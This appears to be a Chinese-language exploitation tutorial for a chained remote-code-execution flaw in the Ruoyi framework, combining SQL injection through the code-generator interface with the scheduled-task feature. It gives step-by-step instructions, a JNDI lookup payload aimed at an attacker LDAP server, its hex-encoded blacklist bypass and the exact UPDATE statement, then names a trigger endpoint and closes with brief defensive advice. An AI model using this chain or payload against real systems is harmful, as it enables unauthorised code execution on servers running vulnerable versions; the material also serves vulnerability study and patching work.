最新Ruoyi组合拳RCE分析
字数 1207 2025-08-23 18:31:24
Ruoyi组合拳RCE漏洞分析与利用教学文档
漏洞概述
本文档详细分析Ruoyi框架中的组合拳RCE漏洞,该漏洞通过定时任务功能结合SQL注入实现远程代码执行。影响版本包括Ruoyi 4.7.5及之前版本。
漏洞组件分析
1. 定时任务功能漏洞
Ruoyi的定时任务功能(/monitor/job)允许调用特定包内的bean,存在以下安全问题:
- 可以调用
genTableServiceImpl直接执行SQL来更改定时任务内容 - 黑白名单校验仅在
SysJobController#addSave方法中存在 - 任务状态修改接口(
/monitor/job/changeStatus)没有添加黑白名单校验
2. 任意文件读取漏洞(CVE-2023-27025)
影响版本:4.7.6之前
利用方式:
- 通过定时任务调用
ruoYiConfig.setProfile更改本地上传文件路径 - 利用
/common/download/resource接口读取文件 - 虽然前端对
resource参数进行过滤,但通过控制本地资源路径可实现任意文件读取
3. SQL注入漏洞
影响版本:4.7.5之前
漏洞位置:/tool/gen/createTable接口
漏洞代码:
<update id="createTable">
${sql}
</update>
该接口直接将前端传入的SQL语句执行,存在SQL注入风险。
组合拳RCE实现原理
利用链分析
- 通过SQL注入调用
genTableServiceImpl.createTable执行SQL - 该实现类满足黑白名单条件
- 直接修改
sys_job表中的定时任务内容 - 通过
changeStatus接口触发恶意定时任务
数据库结构
sys_job表结构包含以下关键字段:
job_id:任务IDinvoke_target:调用的目标字符串- 其他状态字段
漏洞利用步骤
1. 准备JNDI服务
启动JNDI利用工具,准备LDAP服务:
ldap://attacker-ip:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn
2. 构造SQL注入Payload
由于直接使用JNDI字符串会被黑名单拦截,需要转换为16进制:
原始JNDI Payload:
javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')
转换为16进制:
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729
3. 执行SQL注入
通过genTableServiceImpl.createTable执行以下SQL语句(假设修改job_id=3的任务):
UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;
4. 触发RCE
通过/monitor/job/changeStatus接口更改任务状态,触发JNDI调用。
其他利用方式
根据Ruoyi默认依赖,还可以使用jndi-plus的Jackson反序列化实现RCE。
防御建议
- 升级到最新版本Ruoyi框架
- 对所有SQL语句进行预编译处理
- 加强定时任务的黑白名单校验
- 对
changeStatus等状态修改接口添加权限校验 - 限制可调用的bean范围
参考资源
- JNDI-Injection-Exploit-Plus
- Ruoyi官方更新日志和安全公告